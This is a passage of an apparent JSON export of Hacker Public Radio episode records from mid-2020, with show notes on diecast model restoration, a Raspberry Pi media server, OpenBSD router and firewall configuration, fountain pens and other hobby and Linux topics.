                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2020-05-01:\n\"Thanks for the introduction\"

                                                              \n
                                                            • hpr3063\n(2020-04-29) \"Pens, pencils, paper and ink - 1\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nArcher72 on 2020-05-05:\n\"Fountain pens\"
                                                              • \n
                                                              • \nComment 2:\nBookewyrmm on 2020-05-07:\n\"Pens, ink and paper\"
                                                              • \n
                                                              • \nComment 3:\nDave Morriss on 2020-05-07:\n\"To Archer72\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2020-05-07:\n\"To Bookewyrmm\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 21 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3065\n(2020-05-01) \"The case for the unattributed message\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian in ohio on 2020-05-01:\n\"enemies\"

                                                              \n
                                                            • hpr3066\n(2020-05-04) \"HPR Community News for April 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2020-05-04:\n\"Thanks\"
                                                              • Comment 2:\nDave Morriss on 2020-05-05:\n\"No problem\"
                                                              • Comment 3:\nclacke on 2020-05-06:\n\"Blood type distribution\"
                                                              • Comment 4:\nAhuka on 2020-05-06:\n\"I loved the show\"
                                                              • Comment 5:\nDave Morriss on 2020-05-06:\n\"Re: Blood type distribution\"
                                                              • Comment 6:\nDave Morriss on 2020-05-06:\n\"Thanks Ahuka\"

                                                              \n
                                                            • hpr3069\n(2020-05-07) \"Linux Inlaws S01E05 Porn and Skynet\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3071\n(2020-05-11) \"Bash snippet - quotes inside quoted strings\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnobody on 2020-05-22:\n\"Further simplifying\"
                                                              • Comment 2:\nDave Morriss on 2020-05-22:\n\"To 'nobody' re ANSI-C quoting\"

                                                              \n
                                                            • hpr3072\n(2020-05-12) \"The joy of pip-tools and pyenv-virtualenv\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2020-04-30:\n\"Errata: Ubuntu Python virtualenv works just fine\"
                                                              • Comment 2:\nTuula on 2020-05-12:\n\"Interesting and insightful\"

                                                              \n
                                                            • hpr3073\n(2020-05-13) \"Matchbox and Diecast Restoration\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2020-05-13:\n\"sounds good\"
                                                              • Comment 2:\nTony Hughes on 2020-05-14:\n\"Feedback from Tuula\"

                                                              \n
                                                            • hpr3075\n(2020-05-15) \"Federated Blogging with WriteFreely\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2020-05-01:\n\"Federated link for talk on federated things\"

                                                              \n
                                                            • hpr3077\n(2020-05-19) \"Video conference Push to Talk\"\nby DanNixon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2020-05-19:\n\"Brilliant Idea\"
                                                              • Comment 2:\njezra on 2020-05-19:\n\"an amazing mix of custom hardware and software\"

                                                              \n
                                                            • hpr3078\n(2020-05-20) \"Coronavirus Update 2020-05-07\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2020-05-22:\n\"my magical forrest Atheist comments.\"

                                                              \n
                                                            • hpr3083\n(2020-05-27) \"Mumbling while on lockdown\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDanNixon on 2020-05-29:\n\"Groove based tape format\"
                                                              • Comment 2:\nMrX on 2020-05-31:\n\"Re Groove based tape format\"

                                                              \n
                                                            • hpr3084\n(2020-05-28) \"AudioBookClub 18 - Star Trek: The Continuing Mission\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2020-05-28:\n\"Missing Fifty\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nDave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 9 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3087,"date":"2020-06-02","title":"Phonetic alphabet","duration":114,"summary":"The NATO phonetic alphabet recited once.","notes":"

                                                            The NATO phonetic alphabet. Play this a few times until it's ingrained in your memory banks. It'll change the way you communicate.

                                                            \n

                                                            \nWikipedia\n

                                                            ","hostid":78,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"nato, alphabet, communication","version":0,"downloads":0,"valid":1}, {"id":3088,"date":"2020-06-03","title":"Matchbox Restoration Part 2","duration":307,"summary":"Second episode discussing restoring Matchbox diecast models Tony talks tools and materials needed ","notes":"

                                                            Matchbox HPR Episode 2 – Equipment

                                                            \n

                                                            Hello all those in HPR land. This is Tony Hughes coming to you from Blackpool in the UK. I hope you are all keeping well at the current time of restrictions due to the Corona Virus.

                                                            \n

                                                            In this the second of my recordings talking about restoring of Matchbox and other Die-cast models, I am going to talk of the equipment you will find essential, and some other things that while at the start you could live without, as you get into the hobby you may find extremely useful.

                                                            \n

                                                            So the first thing you will need is a drill for drilling the posts out on the model, both to aid in dismantling them and if you plan to reassemble with the aid of small screws, to drill the hole in the post for tapping to accommodating the screws. This can be a hand held wired or cordless drill or if you have a workshop with a drill press, all the better as this can be used in several ways during the reassembly of the models. That is on my wish list as I don’t have one at the moment.

                                                            \n

                                                            Secondly you will need a set of modelling files for removing the burr on axles, to remove these and the plastic wheels of the base of the model to allow for repainting if required.

                                                            \n

                                                            Wire brushes for cleaning the remains of any paint that didn’t get removed by the paint stripper.

                                                            \n

                                                            Hemostat Clamp Tweezers or crocodile clips on a rod, for use to hold the model during spray painting

                                                            \n

                                                            Additionally, although you can start doing restorations without these, the following will become very useful to help save time and achieve better finishes of the completed restoration.

                                                            \n

                                                            Rotary Tool, the most well known is the Dremel but there are many other manufacturers of similar tools at more economic cost. However beware you do get what you pay for and you may find buying the cheapest you can find a false economy. My cheap Lidl rotary tool which I have had for a few years but barely used, failed after 5 months of use a few weeks ago. The chuck ring thread striped and it will no longer hold bits in the chuck. The rotary tool makes the removal of the axles a very quick job, and cleaning paint stripped castings with a wire rotary brush is a breeze.

                                                            \n

                                                            Another thing you may find useful is a small spray booth with an extractor fan and filter for removing over-spray from the area you are painting in if doing this indoors, particularly if your workshop is in the house. Although one YouTube modeller I follow sprays his models on the cooker with the cooker extractor fan on to achieve a similar result when painting indoors.

                                                            \n

                                                            Finally you may wish to put a compressor and spray gun on your wish list if you get hooked as this gives you a far better range of colours you can paint in, as you can mix your own shades. Some in this community are sticklers for trying to get an exact match to the original colour of the model, others like me at the moment are happy to use shop bought spray paint cans.

                                                            \n

                                                            Small table vice for holding the model. A set of helping hands for the same during painting, particularly when painting fine details.

                                                            \n

                                                            So that’s the tools, now the consumables:

                                                            \n
                                                              \n
                                                            • Gloves – Rubber washing up gloves to protect from some of the chemicals used to strip paint.
                                                            • \n
                                                            • Latex gloves for using when spray painting as you have more control while wearing these rather than the looser fitting rubber washing up gloves.
                                                            • \n
                                                            • Work gloves to use when drilling or using other tools.
                                                            • \n
                                                            • Paint face mask to prevent inhaling fumes.
                                                            • \n
                                                            • Paint stripper, I use B&Q’s DIAL own brand paint stripper. I also use caustic soda for the same thing, occasionally one will work when the other failed to remove the paint, it depends on the original paint applied to the model.
                                                            • \n
                                                            • Model filler for repairing dents in the casting
                                                            • \n
                                                            • Wire wool and several grades of wet and dry sanding paper to smooth models after filler has been used.
                                                            • \n
                                                            • Super glue, useful for repairs where a quick setting medium is needed.
                                                            • \n
                                                            • Cans of spray paint to repaint the model, both primer and the final colour. You may also want a can or two of a clear coat to give that extra protection after painting or giving a gloss finish if the paint was a matt or satin finish.
                                                            • \n
                                                            • Not essential at the start but I also use a UV resin glue that cures very quickly after exposure to a UV light torch, this can be added and cured in layers if needed and remains flexible so can be useful for repairs on cables as well as my modelling.
                                                            • \n
                                                            • Finally you need your first model to start work on, these can be found in charity shops, online auction sites or maybe in your loft or garage if you have any of your childhood models kicking around needing to be re-loved.
                                                            • \n
                                                            \n

                                                            Later in the series I’ll talk about other things you may add to the consumables list as you get more into the hobby. So that’s it for this episode. In the next episode I’ll talk you through me dismantling a model for restoration.

                                                            \n

                                                            This is Tony Hughes for HPR signing off for this episode. Keep safe and I’ll be back soon.

                                                            \n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox Cars, Diecast Models, Restoration, Tools and materials.","version":0,"downloads":0,"valid":1}, {"id":3089,"date":"2020-06-04","title":"For my Entertainment","duration":425,"summary":"How I have my file server and media center put together","notes":"

                                                            Reasoning.

                                                            \n

                                                            I have a file server with Slackware running on a Pi4. I wanted to make the
                                                            movies and TV Shows easily accessible on the TV without using a DVD or Blu ray
                                                            player.

                                                            \n

                                                            It would give my wife and I a chance to sit and watch a show without much
                                                            fuss. The latest show we are on is Sue Thomas F.B. Eye.
                                                            The main character, Sue has been deaf from about the age of 4 years.
                                                            She is adept at reading lips and learned to speak despite being deaf.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sue_Thomas:_F.B.Eye

                                                            \n

                                                            Hardware.

                                                            \n

                                                            The Pi4 is enclosed in a stripped out power supply that died on me. The fan
                                                            still worked, so I wired it to the Pi on the 5v line. It runs at half the
                                                            speed it was designed for, but that makes it run almost silent. With the
                                                            heatsinks added, stays about 35C when idle and 50C when encoding video.

                                                            \n

                                                            Pi Networking.

                                                            \n

                                                            I have 2 Pi's connected via ethernet. One is on 192.168.2.5 with a gateway of
                                                            192.168.2.6, with the other on 192.168.2.6 with a gateway of 192.168.2.5.
                                                            Essentially just a crossover network. The reason for this is running Kodi on Pi4
                                                            has choppy video, but is better at running video encoding. So I linked it to a
                                                            Pi3 to run Kodi via a samba share from the Pi4.

                                                            \n

                                                            Used OSMC for the kodi interface.
                                                            It was the distribution that was stable on my Pi and booted right to the Kodi
                                                            interface.

                                                            \n

                                                            https://osmc.tv/download/

                                                            \n

                                                            lsblk - List block devices
                                                            dd status=progress if=osmc.img of=/devsdX

                                                            \n

                                                            Installing Slackware.

                                                            \n

                                                            Get sources
                                                            https://sarpi.fatdog.eu/index.php?p=getslack

                                                            \n
                                                            root@mynixbox:/tmp# mkdir /slackarm\nroot@mynixbox:/tmp# mount /dev/sdc1 /slackarm\nroot@mynixbox:/tmp# cd /slackarm\nroot@mynixbox:/slackarm#
                                                            \n

                                                            To download Slackware ARM 14.2, type the following at the command prompt:

                                                            \n

                                                            root@mynixbox:/slackarm# rsync -Prv --delete
                                                            ftp.slackware.uk::slackwarearm/slackwarearm-14.2 .

                                                            \n

                                                            [FatDog says ...] DON'T forget the period \".\" at the end of the rsync command
                                                            or it won't work!

                                                            \n

                                                            I made a directory called extras, under the /slackarm directory

                                                            \n

                                                            https://sarpi.fatdog.eu/index.php?p=rpi4getcurrent

                                                            \n

                                                            upgradepkg --install-new (for each of these packages, after finishing the main Slackware installation.)

                                                            \n
                                                            System Packages
                                                            \n

                                                            kernel_sarpi4-5.4.40-armv7l-1_slackcurrent_13May20_sp1.txz
                                                            \nkernel-modules-sarpi4-5.4.40-armv7l-1_slackcurrent_13May20_sp1.txz
                                                            \nsarpi4-boot-firmware-armv7l-1_slackcurrent_13May20_sp1.txz\nsarpi4-hacks-4.0-armv7l-1_slackcurrent_13May20_sp1.txz

                                                            \n

                                                            Partitioning example

                                                            \n

                                                            After mounting the sd card listed by the lsblk command, run
                                                            cfdisk /dev/mmcblk0 to partition the card.

                                                            \n
                                                            mmcblk0 179:0 0 59.5G 0 disk 
                                                            |-mmcblk0p2 179:2 0 4G 0 part [SWAP]
                                                            |-mmcblk0p3 179:3 0 55.3G 0 part /
                                                            `-mmcblk0p1 179:1 0 150M 0 part
                                                            root@slack-server:mark # df -h /
                                                            Filesystem Size Used Avail Use% Mounted on /dev/root 55G 25G 28G 48% /\n\nmkfs.vfat /dev/mmcblk0p1
                                                            mkswap /dev/mmcblk0p2
                                                            \n

                                                            Samba snippet

                                                            \n
                                                            [MediaServer.Movies]
                                                            path = /mnt/media2/Movies/
                                                            writable = no
                                                            browsable = yes
                                                            read only = no
                                                            guest ok = no
                                                            public = no
                                                            \n

                                                            fstab snippet (Kodi)

                                                            \n
                                                            //192.168.2.5/MediaServer.Movies /mnt/Movies cifs noauto,users,username=mark,password=*********** 0 0
                                                            \n

                                                            Script to connect to the wifi network

                                                            \n
                                                            mark@osmc:~$ cat /usr/bin/net.sh

                                                            #!/bin/bash
                                                            connmanctl enable wifi
                                                            connmanctl connect wifi_HASH_managed_psk
                                                            \n

                                                            Systemd service file

                                                            \n
                                                            mark@osmc:~$ cat /lib/systemd/system/net.service

                                                            [Unit]
                                                            Description=Wifi network auto connect on boot
                                                            After=http-time.service\n
                                                            [Service]
                                                            Type=simple
                                                            Restart=always
                                                            ExecStart=/bin/bash /usr/bin/net.sh
                                                            \n[Install]
                                                            WantedBy=multi-user.target
                                                            \n\n

                                                            Edit:

                                                            \n

                                                            Since I sent the show notes, I had problems using the GUI way to set up
                                                            a static IP address on the OSMC section. Here is a more concise way to go about\nit.

                                                            \n

                                                            https://discourse.osmc.tv/t/solved-setting-ip-static/1439/14

                                                            \n

                                                            It seems OSMC uses connman, so in order to create an ethernet static IP:

                                                            \n
                                                              \n
                                                            1. \n

                                                              Create a config file with your editor:

                                                              \n
                                                              sudo vim /var/lib/connman/osmc.config\n
                                                              \n
                                                            2. \n
                                                            3. \n

                                                              Add the following contents:

                                                              \n
                                                              [global]\nName = OSMC\nDescription = OSMC static network configuration\n[service_osmc]\nType = ethernet\nIPv4 = 192.168.0.21/255.255.255.0/192.168.0.1\nNameservers = 8.8.8.8,8.8.4.4\n
                                                              \n

                                                              Make sure to change the IPv4 line to match your own network/netmask/gateway and Nameservers to use the ones you want.

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              Reboot your RPi or restart the connman service:

                                                              \n
                                                              sudo systemctl restart connman\n
                                                              \n
                                                            6. \n
                                                            \n

                                                            If you opt to restart connman, you’ll loose the connection.

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, Kodi, OSMC, Networking, Slackware, Sarpi Project","version":0,"downloads":0,"valid":1}, {"id":3090,"date":"2020-06-05","title":"Locating Computer on a Enterprise Network","duration":2388,"summary":"advanced nmap tips","notes":"

                                                            \nIn this episode operat0r responds to hpr3052 :: Locating computers on a network, with more tips and tricks. Then he continues through a detailed exercise in using nmap on the corporate network.\n

                                                            \n

                                                            \nThe expanded commands can be found here.\n

                                                            ","hostid":36,"series":61,"explicit":1,"license":"CC-BY-SA","tags":"nmap,hacking,computers,networking,scripting,bash,shell","version":0,"downloads":0,"valid":1}, {"id":3091,"date":"2020-06-08","title":"fuguserv","duration":2628,"summary":"Fuguita OpenBSD server - building a new wifi-router / server","notes":"\n

                                                            The files I cover in the /etc/ directory first..

                                                            \n

                                                            dhclient.conf

                                                            \n
                                                            interface "em0" {\n#      ignore domain-name-servers;\n      reject 192.168.1.1;\n}\n#supersede domain-name-servers 127.0.0.1;
                                                            \n

                                                            dhcpd.conf

                                                            \n
                                                            option domain-name-servers 192.168.1.1;\nsubnet 192.168.1.0 netmask 255.255.255.0 {\n        option routers 192.168.1.1;\n        range 192.168.1.40 192.168.1.190;\n        host myserver {\n                fixed-address 192.168.1.2;\n                hardware ethernet 00:00:00:00:00:00;\n                }\n        host darkstar {\n                fixed-address 192.168.1.210;\n                hardware ethernet a0:d3:7a:42:aa:1d;\n                }\n        host zenbig   {\n                fixed-address  192.168.1.215;\n                hardware ethernet 14:d6:4d:aa:6c:c6;\n                }\n        host zenstar  {\n                fixed-address 192.168.1.205;\n                hardware ethernet 2c:6e:85:bf:72:91;\n                }\n        host mini10   {\n                fixed-address 192.168.1.200;\n                hardware ethernet 88:25:2C:B2:94:8C;\n                }\n        host nexus9   {\n                fixed-address 192.168.1.195;\n                hardware ethernet 44:91:60:9e:d2:73;\n                }\n        host diningpi {\n                fixed-address 192.168.1.197;\n                hardware ethernet b8:27:eb:09:bb:1e;\n                }\n        host think330 {\n                fixed-address 192.168.1.193;\n                hardware ethernet 50:5B:C2:E5:CA:F5;\n                }\n        host largedongle1 {\n                fixed-address 192.168.1.211;\n                hardware ethernet 00:C0:CA:82:EC:30;\n                }\n        host largedongle2 {\n                fixed-address 192.168.1.212;\n                hardware ethernet 00:C0:CA:82:E6:29;\n                }
                                                            \n

                                                            dhcpd.interfaces

                                                            \n
                                                            athn0
                                                            \n

                                                            hostname.athn0

                                                            \n
                                                            inet            192.168.1.5    255.255.255.0    192.168.1.255\nmedia           autoselect\nmediaopt        hostap\nchan            4\nwpa\nnwid            fuguserv\nwpakey          1234567890ABCD#\nup
                                                            \n

                                                            hostname.bridge0

                                                            \n
                                                            add vether0\nadd em0\nadd athn0\nblocknonip vether0\nblocknonip em0\nblocknonip athn0\nup
                                                            \n

                                                            hostname.em0

                                                            \n
                                                            dhcp\ninet6 autoconf
                                                            \n

                                                            hostname.vether0

                                                            \n
                                                            inet 192.168.1.1 255.255.255.0 192.168.1.255
                                                            \n

                                                            pf.conf

                                                            \n
                                                            nt_if="{ vether0 em0 athn0 }"\nbroken="224.0.0.22 127.0.0.0/8 192.168.0.0/16 172.16.0.0/12\n        10.0.0.0/8 169.254.0.0/16 192.0.2.0/24\n        198.51.100.0/24, 203.0.113.0/24,\n        169.254.0.0/16 0.0.0.0/8 240.0.0.0/4 255.255.255.255/32"\ntable <bruteforce> persist\nset block-policy drop\nset loginterface egress\nset skip on lo0\nmatch in all scrub (no-df random-id max-mss 1440)\nmatch out on egress inet from !(egress:network) to any nat-to (egress:0)\nantispoof quick for (egress)\nblock quick from <bruteforce>\nblock in quick on egress from { $broken no-route urpf-failed } to any\nblock in quick inet6 all\nblock return out quick inet6 all\n#block return out quick log on egress proto { tcp udp } from any to any port 53\nblock return out quick log on egress from any to { no-route $broken }\nblock in all\npass out quick inet keep state\npass in on $int_if inet\npass in on egress inet proto tcp from any to (egress) port 22 keep state (max-src-conn 40, max-src-conn-rate 40/172800 ,overload <bruteforce> flush global)\npass in quick on $int_if proto udp from any to ! 192.168.1.1 port 123 rdr-to 192.168.1.1
                                                            \n

                                                            sysctl.conf

                                                            \n
                                                            net.inet.ip.forwarding=1\nnet.inet.ip.redirect=0\nkern.bufcachepercent=50\nnet.inet.ip.ifq.maxlen=1024\nnet.inet.tcp.mssdflt=1440\nmachdep.allowaperture=2 # See xf86(4)\nmachdep.lidaction=0\nnet.inet6.ip6.forwarding=0\nnet.inet6.ip6.mforwarding=0\nhw.smt=1
                                                            \n

                                                            rc.conf.local

                                                            \n
                                                            check_quotas=NO\ndhcpd_flags="vether0"\nntpd_flags=""\n#pkg_scripts=dnscrypt_proxy -config /etc/dnscrypt-proxy.toml\nsndiod_flags=NO\nunbound_flags=""
                                                            \n

                                                            /var/unbound/etc/unbound.conf

                                                            \n
                                                            # $OpenBSD: unbound.conf,v 1.14 2018/12/16 20:41:30 tim Exp $\nserver:\n    username: _unbound\n    directory: /var/unbound\n    chroot: /var/unbound\n\n    interface: 192.168.1.1\n    interface: 127.0.0.1\n    do-ip6: no\n\n    access-control: 127.0.0.0/8 allow\n    access-control: 192.168.1.0/24 allow\n    hide-identity: yes\n    hide-version: yes\n    do-not-query-localhost: no\n\n    tcp-upstream: yes\n\n    private-address: 10.0.0.0/8\n    private-address: 172.16.0.0/12\n    private-address: 192.168.0.0/16\n\nremote-control:\n        control-enable: yes\n        control-use-cert: no\n        control-interface: /var/run/unbound.sock\n\nforward-zone:\n    name: "."\n    forward-addr: 127.0.0.1
                                                            \n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FuguIta, OpenBSD, Wifi-Routers, Servers, Portable, Memory_resident","version":0,"downloads":0,"valid":1}, {"id":3092,"date":"2020-06-09","title":"Pens, pencils, paper and ink - 2","duration":1256,"summary":"Looking at more writing equipment","notes":"

                                                            Introduction

                                                            \n

                                                            This is the second in a short series about pens, pencils, writing paper and ink. In this episode we will look at three more fountain pens (two lower-priced and one around £50), a mechanical pencil and some paper.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":112,"explicit":1,"license":"CC-BY-SA","tags":"fountain pen,mechanical pencil,paper","version":0,"downloads":0,"valid":1}, {"id":3093,"date":"2020-06-10","title":"Response to Linux Inlaws S01E06 (hpr 3079) on NeXT","duration":430,"summary":"Response to Linux Inlaws S01E06 (hpr 3079) regarding NeXT, NeXTSTEP, and what would become Mac OS X.","notes":"

                                                            Some clarification on NeXT as I ramble on about all things NeXT, what would become \"Mac OS X\" (now \"macOS\"), and a harbinger of what was to come.

                                                            \n

                                                            Links:

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"NeXT, NeXTSTEP, OPENSTEP, Rhapsody, Darwin, MacOSX, OSX, macOS, AUX","version":0,"downloads":0,"valid":1}, {"id":3094,"date":"2020-06-11","title":"Holy crud! I have a kinesis advantage 2 keyboard!","duration":275,"summary":"Sigflup does a review of the Kinesis Advantage 2 keyboard","notes":"

                                                            Kinesis Advantage 2 Keyboard

                                                            \n\n

                                                            \"Kinesis

                                                            ","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"keyboards","version":0,"downloads":0,"valid":1}, {"id":3095,"date":"2020-06-12","title":"Intro to GIMP","duration":1064,"summary":"An introduction to GIMP to kick off a new series.","notes":"

                                                            GIMP is the open source alternative to the proprietary Photoshop, and can do most of the same things while respecting your freedom. This show will kick off a new series of tutorials. As a note of caution, I am not an expert, I am just learning GIMP as I go. But I thought there was no harm in sharing my experiences with the HPR community. https://www.ahuka.com/?page_id=1423

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics","version":0,"downloads":0,"valid":1}, {"id":3096,"date":"2020-06-15","title":"Unscripted ramblings on a walk: PC Building.","duration":135,"summary":"I take a walk and discuss my experience building a new PC after having not done so for many years.","notes":"

                                                            I certainly want to say that this episode isn't a brag-a-thon about my new rig. I try to discuss what surprised me most about how PC building has changed in the last 10-15 years.

                                                            \n

                                                            The parts for my build:

                                                            \n
                                                              \n
                                                            • AMD Threadripper 1920X 3.5 GHz 12-Core Processor
                                                            • \n
                                                            • ASRock X399 Taichi ATX sTR4 Motherboard
                                                            • \n
                                                            • EVGA 850 B3, 80+ Bronze 850W, Fully Modular PSU
                                                            • \n
                                                            • Noctua NH-U14S TR4-SP3, Premium-Grade CPU Cooler
                                                            • \n
                                                            • MSI Gaming GeForce GT 710
                                                            • \n
                                                            • Fractal Design Define C case
                                                            • \n
                                                            • Corsair LPX 32GB (2x16GB) 3200MHz C16 DDR4 DRAM Memory Kit
                                                            • \n
                                                            • GELID GC-Extreme thermal paste
                                                            • \n
                                                            • Random 500GB SSD from my parts bin
                                                            • \n
                                                            ","hostid":241,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"pc,hardware,build,battlestation,discussion,review,walk","version":0,"downloads":0,"valid":1}, {"id":3097,"date":"2020-06-16","title":"Linux Inlaws S01E07 The Big Blue Button","duration":3895,"summary":"The lads talk to Fred Dixon, product manager for BigBlueButton.","notes":"

                                                            In this episode our two chaps welcome Fred Dixon, product manager for BigBlueButton, on the show to talk about the project, its history and if it will finally run on Fedora and CentOS.

                                                            \n

                                                            Surrounding musings include how to hack the GDM login screen, why Martin is not behind the recent Easyjet hack and poxes as well as anti-poxes.

                                                            \n

                                                            Shownotes:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"BigBlueButton, GDM, Focal Fossa, Ubuntu","version":0,"downloads":0,"valid":1}, {"id":3098,"date":"2020-06-17","title":"Matchbox Restoration Part 3","duration":191,"summary":"In this the 3rd in the series Tony discusses dismantling the castings of the MK10 Jaguar","notes":"

                                                            HPR Matchbox show Episode 3

                                                            \n

                                                            Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 3rd in a series of shows about my hobby of restoring Matchbox and other Die-cast models. In the first 2 shows I introduced the concept and discussed the tools and other equipment you would need to start this hobby.

                                                            \n

                                                            In this episode I have decided to return to where it all started with the Matchbox No28 the Jaguar Mk10. Please refer to the show notes for the pictures of the process as we move along. You can see in the first picture the 4 castings used in this process.

                                                            \n

                                                            Picture 000:
                                                            \n\"Picture

                                                            \n

                                                            This is a lovely little casting and is a nice introduction to the techniques used in the process. Also I have several of these that I can strip down to their components and that should give us enough quality parts to reassemble at least one good example, hopefully one or two more.

                                                            \n

                                                            The next picture shows you the base of the model and that there is a mushroomed post that needs to be drilled out at the rear of the model, the front of the base is retained by a tab, which once the post is removed and the base released, this can be slid forward to free the tab.

                                                            \n

                                                            Picture 001:
                                                            \n\"Picture

                                                            \n

                                                            I drilled out this post. The post is drilled out with a 4mm drill bit, and as you can see in the next picture on this particular casting I was a little over zealous and damaged the base a little, although as it is the base it’s not a major issue.

                                                            \n

                                                            Picture 003:
                                                            \n\"Picture

                                                            \n

                                                            I then released the base by prying it off the remainder of the post with a small flat bladed screwdriver to lever it of the body. This now allowed the removal of the inner plastic forming the seating and holding a small plastic suspension piece. In the next picture you can see the casting without any internals but with the plastic window unit still held in place with another shallow mushroom post.

                                                            \n

                                                            Picture 005:
                                                            \n\"Picture

                                                            \n

                                                            Being very careful not to be too aggressive drilling this mushroom holding the windscreen unit, it is removed, again with a 4mm drill bit, so that a little pressure from a flat blade slid between the roof and the glassing unit will allow it to pop out without it breaking. It usually takes several attempts of a little drilling, trying with the flat blade, then if not coming free, a little more drilling until it pops off.

                                                            \n

                                                            Picture 006:
                                                            \n\"Picture

                                                            \n

                                                            Picture 006x:
                                                            \n\"Picture

                                                            \n

                                                            This process was repeated with the other 3 castings and the result is shown in the next picture

                                                            \n

                                                            Picture 008:
                                                            \n\"Picture

                                                            \n

                                                            As you can see the casting on the upper left of the image still has the bonnet (Hood) attached, this would not come off without me risking damaging it, so I was hoping that once the paint is removed that this will help it to come free. You will have to wait for the next instalment to find out what happened next. I’ve got to keep you wanting some more of this rambling tale.

                                                            \n

                                                            So until next time this is Tony Hughes saying goodbye to all those in HPR land. Keep safe until the next instalment.

                                                            \n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox Cars, Diecast Models, Restoration, dismantling the model","version":0,"downloads":0,"valid":1}, {"id":3099,"date":"2020-06-18","title":"Linux Inlaws S01E08 The review of the review","duration":2741,"summary":"In this short episode our two heroes rant about Linus, Transmeta, EdgeOS","notes":"

                                                            S01E08: The review of the review

                                                            \n

                                                            More shenanigans from our two heroes. In this short episode our two heroes rant about Linus and other old people, Transmeta and other history, discuss Martin's EdgeOS woes and discover that MIPS is indeed a CPU architecture supported by standard Debian. The show concludes with a short review of Claudio's review and poxes about the Arch wiki and Californication. You have been warned!

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linus, Transmeta, EdgeOS, Arch, Californication, device tree ","version":0,"downloads":0,"valid":1}, {"id":3100,"date":"2020-06-19","title":"For your consideration - Makers Corner","duration":4534,"summary":"Makers Corner is a tech oriented DIY podcast, from the Other Side Podcast Network","notes":"

                                                            \nI'm amazed I didn't find this podcast earlier, epically as one half of the team is HPR Host Yannick, and that we listed it on our Sister Project Free Culture Podcasts.

                                                            \n

                                                            \nThis show is a sample episode I picked, but it is not a typical show. I wanted to give a bit more exposure to the interview.\n

                                                            \n

                                                            \nIn this episode, Nate talks about his oldest boy’s Electronic Engineering class. Then, Jon and Phil join in to talk about the 32Blit. And finally, the guys have a look at the Monster Mouth Headphone Holder – Clampable, from thingiverse.

                                                            \n\n

                                                            Links

                                                            \n","hostid":30,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"pimoroni, gadgetoid, Monster Mouth Headphone Holder,Free Culture Podcasts","version":0,"downloads":0,"valid":1}, {"id":3101,"date":"2020-06-22","title":"Metrics","duration":1553,"summary":"A layman's explanation of the mathematical concept of metric.","notes":"

                                                            Whether you are writing a simple darts simulation 8-bit computer game or are traversing the galaxy Elite-style, you might well find yourself tangling with the mathematical concept known as the metric. In this episode I describe the mathematical concept of a metric which I address with the following questions. Brief answers are provided below but the show, I hope, gives more context and colour.

                                                            \n

                                                            What is a metric?

                                                            \n

                                                            A type of ruler that is used in mathematics.

                                                            \n

                                                            Why not just use a ruler?

                                                            \n

